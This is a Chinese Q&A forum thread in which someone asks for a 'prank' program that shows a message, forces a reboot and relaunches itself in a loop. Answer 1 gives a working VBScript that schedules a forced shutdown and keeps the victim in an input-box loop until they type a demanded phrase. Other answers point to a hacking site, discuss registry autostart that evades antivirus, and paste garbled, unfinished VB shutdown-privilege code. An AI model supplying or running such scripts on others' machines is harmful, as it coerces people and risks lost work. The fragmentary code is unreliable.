Question

谁能教我用编程做一个恶作剧！

打开后弹出我想说的话！然后强制重启！重启后又自动打开！就这样循环！重复！呵呵

Answer 1

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""喊帅哥，不喊就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "帅哥")
a = inputbox ("喊帅哥,就不关机，快!!，喊 ""帅哥"" ","喊不喊","不喊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早喊就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
保存为 .vbs格式

Answer 2

http://www.hackbase.com/去一下看看~要不远程弄给你看看！花半个小时教你770798338！随便搞了个小程序...因为我没有路由，所以也就没详细写..... 思路是这样: 连接路由用Winsock控件,要发送的字符存放到一个字符串数组中..~ 在winsock的DataArrival()事件中发送消息...这样就可以实现每接收到一段文字就发送一段数据....... 大体上就晕样了....Option ExplicitPrivate Declare Function SetSystemPowerState Lib "kernel32" (ByVal fSuspend As Long, ByVal fForce As Long) _ As LongPrivate Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As LongPrivate Declare Function GetCurrentProcess Lib "kernel32" () As LongPrivate Declare Function GetCurrentProcessId Lib "kernel32" () As LongPrivate Declare Function LookupPrivilegevalue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" _ (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As LongPrivate Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, _ ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As LongPrivate Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, _ ByVal DesiredAccess As Long, TokenHandle As Long) As LongPrivate Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation _ As OSVERSIONINFO) As Long Private Enum HowExitConst EWX_LOGOFF = 0 EWX_SHUTDOWN = 1 还没写完！

Answer 3

早就做过了，不过要写入注册表的话，有些杀毒软件会拦截的，这问题我还没解决。

Answer 4

这有什么意思啊，你要什么语言？